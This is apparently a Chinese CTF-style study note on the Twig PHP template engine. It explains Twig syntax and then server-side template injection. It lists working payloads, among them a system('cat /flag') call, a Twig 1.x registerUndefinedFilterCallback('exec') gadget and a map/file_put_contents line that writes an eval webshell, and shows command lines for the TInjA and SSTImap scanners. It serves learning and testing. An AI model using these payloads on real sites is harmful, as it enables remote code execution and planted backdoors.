Twig 引擎
Twig 是一个 PHP 模版引擎
语法特征
插值
Twig 使用 {{}}
表示插值,用于输出变量或表达式的值
可以使用 .
或 []
访问变量中的属性
1 | {{user.name}} |
控制结构
Twig 支持常见控制结构,如 if-else、for 等
if-else 使用 {% if condition %} ... {% else %} ... {% endif %}
for 循环使用
1 | {% for i in range(0, 3) %} |
也可以使用 set
为代码块内的变量赋值,如:
1 | {% set foo = 'foo' %} |
过滤器
Twig 支持使用过滤器对变量进行处理
如 {{user.name|upper}}
表示将 user.name
变量的值转换为大写
下面这个过滤器将接收一个序列 list ,然后使用 join
中指定的分隔符合并成一个字符串
1 | {{ list|join }} |
继承
Twig 支持模板继承
通过 {% extends "base.html" %}
指定基础模板
并在子模板中使用 {% block content %} ... {% endblock %}
包裹子模版内容
注释
Twig 使用 `` 进行注释
引入其他模版
Twig 提供的 include
函数可以在模版中引入其他模版,并将该模版渲染后的内容返回到当前模版
1 | {{ include('sidebar.html') }} |
Twig 模版注入
和其他模版注入一样,Twig模版注入也是发生在直接将用户输入作为模版,如下面的代码
1 |
|
基础 payload
1 | {{system("cat /flag")}} |
Twig 1.x
getFilter
方法调用任意 PHP 函数 payload
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}} |
Twig 2.x/3.x
代码执行
1 | // map 过滤器 |
写 webshell
1 | {{{"<?php phpinfo();eval($_POST[1])":"/var/www/html/shell.php"}|map("file_put_contents")}} // 写 Webshell |
模版注入工具
TInjA
支持模版引擎包括:
- .NET
- DotLiquid, Fluid, Razor Engine, Scriban
- Elixir
- EEx
- Go
- html/template, text/template
- Java
- Freemarker, Groovy, Thymeleaf, Velocity
- JavaScript
- Angular.js, Dot, EJS, Eta, Handlebars, Hogan.js, Mustache, Nunjucks, Pug, Twig.js, Underscore, Velocity.js, Vue.js
- PHP
- Blade, Latte, Mustache.php, Smarty, Twig
- Python
- Chameleon, Cheetah3, Django, Jinja2, Mako, Pystache, SimpleTemplate Engine, Tornado
- Ruby
- ERB, Erubi, Erubis, Haml, Liquid, Mustache, Slim
使用方式
1 | tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..." |
SSTImap
使用方式
1 | python3 ./sstimap.py -u 'https://example.com/page?name=John' -s |